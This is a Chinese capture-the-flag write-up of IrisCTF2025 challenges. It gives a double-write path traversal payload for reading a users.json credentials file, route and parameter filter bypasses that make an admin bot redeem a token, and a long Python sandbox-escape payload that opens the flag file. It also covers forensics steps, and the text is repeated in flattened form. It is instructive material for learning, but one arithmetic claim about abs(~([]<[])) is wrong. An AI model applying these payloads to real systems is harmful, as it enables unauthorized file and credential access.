IrisCTF2025部分wp
字数 1268 2025-08-22 12:22:54

IrisCTF2025 部分题目解析与教学文档

Web - Password Manager

题目分析

  1. 存在路径穿越漏洞,但使用 PathReplacer = strings.NewReplacer../ 替换为空
  2. 替换只执行一次,可通过双写绕过(如 ....//
  3. 目标文件 users.json 存储了用户凭证

利用步骤

  1. 构造双写路径穿越payload访问 users.json
    GET /....//users.json
    
  2. 获取skat账户的凭证
  3. 使用凭证登录获取flag

关键点

  • Go语言的 strings.NewReplacer 默认只替换一次
  • 双写绕过是路径穿越的常见绕过方式

Web - Political

题目分析

  1. Flask应用,需要获取管理员cookie
  2. 提供bot服务,可访问本地URL
  3. bot会携带 /home/user/cookie 中的cookie访问指定URL

利用步骤

  1. 获取token:
    GET /token
    
  2. 构造bot访问的URL:
    http://localhost:1337/giveflag?token=<your_token>
    
  3. 提交token获取flag:
    POST /redeem
    token=<your_token>
    

绕过技巧

  1. 路由限制绕过:
    • 使用反斜杠:/giveflag\
    • URL编码:%2fgiveflag
  2. 参数名限制绕过:
    • URL编码
    • 添加额外参数:?a=b&token=xxx

Forensics - deldeldel

题目分析

  • 键盘流量数据包
  • 包含按键和删除操作记录

解题步骤

  1. 使用键盘流量分析工具解析数据
  2. 处理原始输出:
    Hheey<SPACE><SPACE><SPACE>AAali<DEL><DEL>licce!<SPACE>Ii<SPACE><SPACE>tthink<SPACE><SPACE>Ii''m<SPACE><SPACE>ssupo<DEL>ppooseed<SPACE><SPACE>too<SPACE><SPACE>giivee<SPACE>yoou<SPACE><SPACE><SPACE>tiss<SPACE>fllaag"<RET><RET>iriisctfF{[tthis_ajjd<DEL><DEL><DEL>keyloggeer_iisS_boo<DEL><DEL><DEL>too_hard_two<DEL><DEL><DEL>too<DEL><DEL><DEL>to_use}<RET>
    
  3. 手动还原输入过程得到flag

关键点

  • <DEL> 表示删除前一个字符
  • 需要模拟实际输入过程还原最终文本

Forensics - Windy Day

题目分析

  • Windows 10内存转储文件
  • flag以base64形式存储在内存中

解题步骤

  1. 搜索flag的base64前缀:
    strings memdump.mem | grep "aXJpc"
    
  2. 找到完整base64编码的flag:
    aXJpc2N0ZntpX2FtX2FuX2lkaW90X3dpdGhfYmFkX21lb
    
  3. 解码得到flag

关键点

  • 内存取证中strings命令是基础工具
  • 搜索已知格式的部分数据是有效方法

Networks - No Shark?

题目分析

  • 文本文件包含十六进制格式的网络数据包
  • 需要转换为pcapng格式分析

解题步骤

  1. 使用Python脚本转换hex为pcapng:
    from scapy.all import *
    import binascii
    
    with open("noshark.txt", "r") as file:
        hex_data = file.readlines()
    
    hex_data = [line.strip() for line in hex_data if line.strip()]
    packets = []
    
    for packet_hex in hex_data:
        try:
            packet_bin = binascii.unhexlify(packet_hex)
            packets.append(packet_bin)
        except binascii.Error as e:
            print(f"Error decoding hex: {e}")
    
    if packets:
        wrpcap("output.pcapng", packets)
        print("Successfully created output.pcapng")
    else:
        print("No valid packets found.")
    
  2. 使用Wireshark分析生成的pcapng文件
  3. 发现JFIF头,提取图片数据

关键点

  • 网络数据包的基本结构认知
  • hex到pcapng的转换方法

Misc - Cobra's Den

题目分析

  1. 限制条件:

    • 只能使用长度≤4的builtin函数
    • 字符必须在白名单内:<ph[(cobras.den)]+~
    • 输入长度≤1115
    • 点号不超过一个
  2. 可用函数:

    • abs, chr, hash, open, ord, repr

解题思路

  1. 构造字符的ASCII码:

    • abs(~([]<[])) → -1
    • abs([]<[]) → 0
    • abs(~0) → 1
    • 通过位移和加减构造其他数字
  2. 构造字符串"flag":

    chr(abs(~(~(~(~(~(~(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~([]<[]))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))))))))))) + ... [其他字符]
    
  3. 最终payload:

    open(chr(abs(~(~(~(~(~(~(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~([]<[]))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[])))))))))))))<<abs(~([]<[])))+chr(abs(~(~(~(~(~(~(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~([]<[]))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[])))))))))))))<<abs(~([]<[]))<<abs(~([]<[])))+chr(abs(~(~(~(~(~(~(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~([]<[]))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[])))))))))))))<<abs(~([]<[]))<<abs(~([]<[]))<<abs(~([]<[])))+chr(abs(~(~(~(~(~(~(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~(abs(~([]<[]))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[])))))))))))))<<abs(~([]<[]))<<abs(~([]<[]))<<abs(~([]<[]))<<abs(~([]<[])))).read()
    

关键点

  • 利用位运算和基本数学运算构造数字
  • 通过字符拼接构造必要字符串
  • 严格限制条件下的代码构造技巧
IrisCTF2025 部分题目解析与教学文档 Web - Password Manager 题目分析 存在路径穿越漏洞,但使用 PathReplacer = strings.NewReplacer 将 ../ 替换为空 替换只执行一次,可通过双写绕过(如 ....// ) 目标文件 users.json 存储了用户凭证 利用步骤 构造双写路径穿越payload访问 users.json : 获取skat账户的凭证 使用凭证登录获取flag 关键点 Go语言的 strings.NewReplacer 默认只替换一次 双写绕过是路径穿越的常见绕过方式 Web - Political 题目分析 Flask应用,需要获取管理员cookie 提供bot服务,可访问本地URL bot会携带 /home/user/cookie 中的cookie访问指定URL 利用步骤 获取token: 构造bot访问的URL: 提交token获取flag: 绕过技巧 路由限制绕过: 使用反斜杠: /giveflag\ URL编码: %2fgiveflag 参数名限制绕过: URL编码 添加额外参数: ?a=b&token=xxx Forensics - deldeldel 题目分析 键盘流量数据包 包含按键和删除操作记录 解题步骤 使用键盘流量分析工具解析数据 处理原始输出: 手动还原输入过程得到flag 关键点 <DEL> 表示删除前一个字符 需要模拟实际输入过程还原最终文本 Forensics - Windy Day 题目分析 Windows 10内存转储文件 flag以base64形式存储在内存中 解题步骤 搜索flag的base64前缀: 找到完整base64编码的flag: 解码得到flag 关键点 内存取证中strings命令是基础工具 搜索已知格式的部分数据是有效方法 Networks - No Shark? 题目分析 文本文件包含十六进制格式的网络数据包 需要转换为pcapng格式分析 解题步骤 使用Python脚本转换hex为pcapng: 使用Wireshark分析生成的pcapng文件 发现JFIF头,提取图片数据 关键点 网络数据包的基本结构认知 hex到pcapng的转换方法 Misc - Cobra's Den 题目分析 限制条件: 只能使用长度≤4的builtin函数 字符必须在白名单内: <ph[(cobras.den)]+~ 输入长度≤1115 点号不超过一个 可用函数: abs , chr , hash , open , ord , repr 解题思路 构造字符的ASCII码: abs(~([]<[])) → -1 abs([]<[]) → 0 abs(~0) → 1 通过位移和加减构造其他数字 构造字符串"flag": 最终payload: 关键点 利用位运算和基本数学运算构造数字 通过字符拼接构造必要字符串 严格限制条件下的代码构造技巧